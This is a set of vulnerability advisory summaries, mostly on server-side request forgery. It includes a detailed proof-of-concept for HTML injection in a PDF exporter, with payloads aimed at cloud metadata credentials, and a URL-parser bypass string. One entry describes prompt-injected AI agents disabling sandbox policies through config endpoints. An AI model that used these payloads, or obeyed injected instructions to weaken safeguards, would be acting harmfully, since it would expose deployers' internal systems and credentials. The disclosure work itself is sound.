Open WebUI versions ≤0.9.4 allow authenticated users to bypass SSRF protections and read internal network resources via HTTP redirect-following. The vulnerability exists in five distinct code paths: web-fetch retrieval, image-loading endpoints, chat-completion image inlining, and OAuth/tool-server execution flows. Any authenticated user can submit a public URL that 302-redirects to internal addresses (127.0.0.1, 169.254.169.254 cloud metadata, RFC1918 private networks) and receive the response body. The vendor confirms active exploitation in the wild was NOT observed, but publicly available exploit code exists (PoC in advisory) and EPSS score of 0.00043 (4.3%) suggests low automated scanning targeting at time of analysis. Fixed in version 0.9.5 released March 2025.

URL parser mismatch in Open WebUI allows authenticated users to bypass SSRF protections and access internal network resources. The validate_url function uses Python's urlparse library to extract hostnames for validation, while the requests library handles actual HTTP requests. These libraries disagree on parsing URLs containing backslash characters (e.g., http://127.0.0.1:6666\@1.1.1.1), allowing attackers to craft URLs that pass validation as external addresses but resolve to internal hosts. Exploitation requires low-privilege authentication but no user interaction, enabling access to cloud metadata endpoints and internal services. Fixed in version 0.9.5 per GitHub advisory GHSA-8w7q-q5jp-jvgx.

Blind server-side request forgery (SSRF) in Open WebUI versions prior to 0.5.11 allows authenticated users to force arbitrary GET requests from the server via malicious HTML image tags embedded in the PDF export function. The vulnerability exists because user-supplied input (title, content, role, model, and date fields) is interpreted as HTML before being passed to the PDF generator without proper sanitization, enabling attackers to enumerate internal assets and trigger outbound requests despite response content not being readable.

Server-Side Request Forgery (SSRF) in Open WebUI versions ≤0.8.12 allows authenticated users with OAuth access to force the server to make HTTP requests to arbitrary internal resources and exfiltrate complete response data. Exploitation requires OAuth-enabled deployments with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true. An attacker controls the OAuth provider's 'picture' claim URL, triggering server-side HTTP requests to cloud metadata services (AWS IMDS), localhost services (Redis, Elasticsearch), or internal network endpoints. The full response is base64-encoded and stored in the user's profile_image_url field, enabling complete data exfiltration. Fixed in version 0.9.0 per GitHub advisory GHSA-24c9-2m8q-qhmh. EPSS data not available; no CISA KEV listing indicates limited widespread exploitation, though publicly available proof-of-concept exists in the GitHub advisory.

Server-Side Request Forgery in Open WebUI's `validate_url()` function allows authenticated attackers to reach internal IPv4/IPv6 addresses, bypassing security controls via three distinct flaws: the validators library silently fails on IPv6 private-address checks (raising ValidationError which evaluates as falsy), IPv4-mapped IPv6 addresses (::ffff:10.0.0.1) evade IPv4 filtering entirely, and multiple IANA-reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, 198.18.0.0/15, 203.0.113.0/24) remain unblocked. The vulnerability persists in the RAG web search, image editing, and other endpoints despite an earlier incomplete remediation attempt (CVE-2025-65958), enabling exfiltration of AWS IMDSv1 credentials and access to localhost-bound services. Publicly available exploit code exists (demonstrated POC in advisory), affecting Open WebUI ≤0.8.12 with fix released in version 0.9.0.

Authenticated server-side request forgery in ApostropheCMS allows low-privilege users to force the server to fetch arbitrary internal URLs through the rich-text widget import flow. Attackers with content editing permissions can exfiltrate internal data by crafting malicious image tags that trigger server-side fetch operations, with image-compatible responses being persisted and re-hosted by the application. Publicly available exploit code exists (full Python PoC published in GitHub advisory GHSA-pr28-mf3q-qpg6), enabling immediate weaponization. All versions through 4.29.0 are affected with no vendor-released patch identified at time of analysis, creating sustained exposure for organizations running this popular Node.js CMS.

Blind Server-Side Request Forgery in Nextcloud News prior to 28.3.0-beta.1 allows low-privileged authenticated users to weaponize the feed URL submission feature - available via both the web interface and API - to coerce the Nextcloud server into making outbound HTTP requests to attacker-specified internal or private IP ranges, including localhost. Response content is never relayed back to the attacker, constraining this to a reconnaissance primitive rather than a data-exfiltration channel. No public exploit has been identified at time of analysis, EPSS sits at 0.04% (12th percentile), and CISA has not listed this in KEV, collectively indicating a low-probability real-world exploitation scenario.

Server-Side Request Forgery (SSRF) in InfusedWoo Pro plugin for WordPress versions up to 5.1.2 allows unauthenticated remote attackers to exploit the popup_submit function to read arbitrary files from the server and make unauthorized web requests to internal network resources. This vulnerability enables reconnaissance and potential access to internal services that should not be externally accessible, including cloud metadata endpoints, internal APIs, and localhost services. CVSS 7.5 (High) reflects network-accessible attack with no authentication required and high confidentiality impact. EPSS data not available; no active exploitation confirmed via CISA KEV at time of analysis.

Server-side request forgery (SSRF) in Nautobot's Webhook feature allows authenticated users with add/change permissions on the Webhook data model to configure malicious webhook URLs targeting internal hosts, cloud metadata endpoints, or other restricted network resources. Affects all versions prior to 2.4.33 and 3.x versions prior to 3.1.2. The vulnerability allows bypassing intended network boundaries and accessing services that should not be reachable from the Nautobot server. Vendor-released patches available in v2.4.33 and v3.1.2 introduce URL scheme restrictions, IP network blocklists, and hostname allow-lists to prevent SSRF exploitation. No public exploit identified at time of analysis, but CVSS base score of 8.5 reflects significant impact with scope change allowing access to resources beyond the vulnerable component's security context.

Unsafe deserialization in LangSmith SDK's prompt pull methods allows remote attackers to execute server-side request forgery (SSRF) and redirect LLM traffic to attacker-controlled infrastructure when applications pull public prompts from LangSmith Hub. The SDK deserializes untrusted prompt manifests containing serialized LangChain objects with attacker-controlled constructor arguments, including malicious base_url configurations, custom headers, and secret references. Exploitation requires user interaction (developers must call pull_prompt with a malicious owner/name identifier), but no authentication is required to publish malicious prompts to the public Hub. Vendor-released patches in Python >= 0.8.0 and JS/TS >= 0.6.0 now block public prompt pulling by default, requiring explicit opt-in via dangerously_pull_public_prompt flag. EPSS data not available; no CISA KEV listing or public exploit identified at time of analysis.

SillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators. Documentation: - https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting - https://docs.sillytavern.app/administration/#security-checklist Since the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF. - Vulnerability Type: SSRF - Affected Location: `src/middleware/corsProxy.js:31` - Trigger Scenario: SSRF in optional CORS proxy `corsProxyMiddleware` forwards `req.params.url` directly into `fetch(url, ...)`. It only blocks circular requests to its own host and does not enforce destination allowlist or private/loopback restrictions, enabling SSRF. 1. Source (user-controlled input) - Entry point: `GET /proxy/:url(*)` 2. Data flow - Code analysis shows concrete propagation into this sink: - vulnerability title: `SSRF in optional CORS proxy` - sink location reached by attacker-controlled input: `src/middleware/corsProxy.js:31` - The same sink behavior is confirmed by controlled execution observations. 3. Sink (dangerous operation) - Sink location: `src/middleware/corsProxy.js:31` - Vulnerable behavior: SSRF in optional CORS proxy 1. The attacker can control or influence a URL/endpoint parameter. 2. The server can access internal or sensitive network targets. 3. Outbound request validation or redirect controls are insufficient. This issue can be used to pivot network access and reach unintended internal resources. An attacker may access internal network services or metadata endpoints and exfiltrate sensitive responses. 1. Enforce strict destination allowlist for proxy targets. 2. Block loopback, link-local, RFC1918, and metadata address ranges. 3. Apply the same destination validation to redirects.

mosparo is the modern solution to protect your online forms from spam. Prior to 1.4.13, the automatic rule package source URL feature allows a project member with the editor role to store an attacker-controlled URL that the server later fetches. Because the server follows http/https redirects and does not restrict private or loopback destinations, this becomes a stored SSRF primitive that can be turned into an internal HTTP probing oracle. This vulnerability is fixed in 1.4.13.

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to 4.4.1, an authenticated Server-Side Request Forgery (SSRF) vulnerability in the Xibo CMS allows users with Library upload permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. This vulnerability is fixed in 4.4.1.

Server-Side Request Forgery in JunoClaw's WAVS bridge allows remote attackers to exploit the computeDataVerify function, which fetched agent-supplied URLs without validating scheme, port, or resolved IP addresses. Attackers can trick the bridge into accessing internal cloud metadata services (AWS, GCP), RFC 1918 private networks, databases, and admin APIs running on non-standard ports. Exploitation requires user interaction (UI:R) but no authentication (PR:N), with cross-scope impact (S:C) allowing high confidentiality breach and low availability impact. Fixed in version 0.x.y-security-1 via commit a168608, which implements a comprehensive SSRF guard with scheme/port allowlists, DNS private-IP blocking for both IPv4 and IPv6 ranges, request timeouts, and body size caps. No CISA KEV listing or public exploit code identified at time of analysis.

Server-Side Request Forgery (SSRF) in Pandora FMS versions 777-800 enables authenticated attackers to escalate privileges through the API Checker extension. Attackers with low-privilege network access can force the server to make arbitrary requests, potentially accessing internal resources and escalating to higher confidentiality impact (CVSS VC:H). EPSS data not available; no confirmed active exploitation (not in CISA KEV). Vendor has acknowledged the issue per PandoraFMS security advisory, indicating patch development is likely underway.

{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure - enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) - enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** - if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user - no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` - local-deep-research, branch `main`.* --- Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) - closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) - implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML - markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** - upgrade to v1.6.0 or later to receive both fixes.

Server-side request forgery in jshERP up to version 3.6 allows authenticated administrators to manipulate the weixinUrl parameter in the updatePlatformConfigByKey endpoint, enabling remote requests to arbitrary servers. The vulnerability affects the getUserByWeixinCode function in UserService.java and can be exploited remotely by high-privilege users to access internal resources, exfiltrate data, or pivot to backend systems. Publicly available exploit code exists, and the project maintainers have not responded to early disclosure.

Flowise versions prior to 3.1.0 allow authenticated remote attackers to bypass SSRF protections by exploiting direct HTTP client imports in four tool implementations (OpenAPIToolkit, WebScraperTool, MCP, and Arxiv) that circumvent the centralized httpSecurity.ts validation wrapper. An attacker with tool access can craft requests to reach blocked internal endpoints such as AWS metadata services, restoring full SSRF capability despite administrative deny-list configuration.

Server-side request forgery (SSRF) in Open edX Platform allows authenticated Enterprise Admin users to force the application server to make HTTP requests to arbitrary internal network resources, cloud metadata endpoints (AWS 169.254.169.254), or external attacker-controlled hosts via the sync_provider_data SAML configuration endpoint. The unvalidated metadata_url parameter is passed directly to requests.get() without IP filtering or URL scheme enforcement, enabling internal network reconnaissance, credential theft from cloud metadata services, and potential lateral movement. Fixed in commits 6fda1f120ff and 70a56246dd9. EPSS data not available; no confirmed active exploitation at time of analysis.

Prompt-injected AI models can escalate privileges and persist unauthorized configuration changes in OpenClaw gateway before version 2026.4.20 via insufficient authorization guards on agent-facing config.patch and config.apply endpoints. Authenticated attackers (PR:L) with model tool access can disable sandbox policies, enable malicious plugins, modify TLS/authentication settings, alter SSRF protections, reconfigure MCP servers, and weaken filesystem hardening-effectively bypassing operator-enforced security boundaries. Vendor-released patch available in version 2026.4.20. No evidence of active exploitation; EPSS data not available for this recently disclosed vulnerability.

Server-side request forgery in OpenClaw before version 2026.4.20 allows authenticated attackers to bypass strict-mode SSRF policy checks during browser CDP profile creation by storing profiles pointing to private-network or metadata endpoints, which are later probed during normal profile status operations. The vulnerability affects only strict-mode deployments that explicitly restrict private-network CDP targets; default configurations allow private-network endpoints and are not vulnerable. Vendor-released patch: 2026.4.20.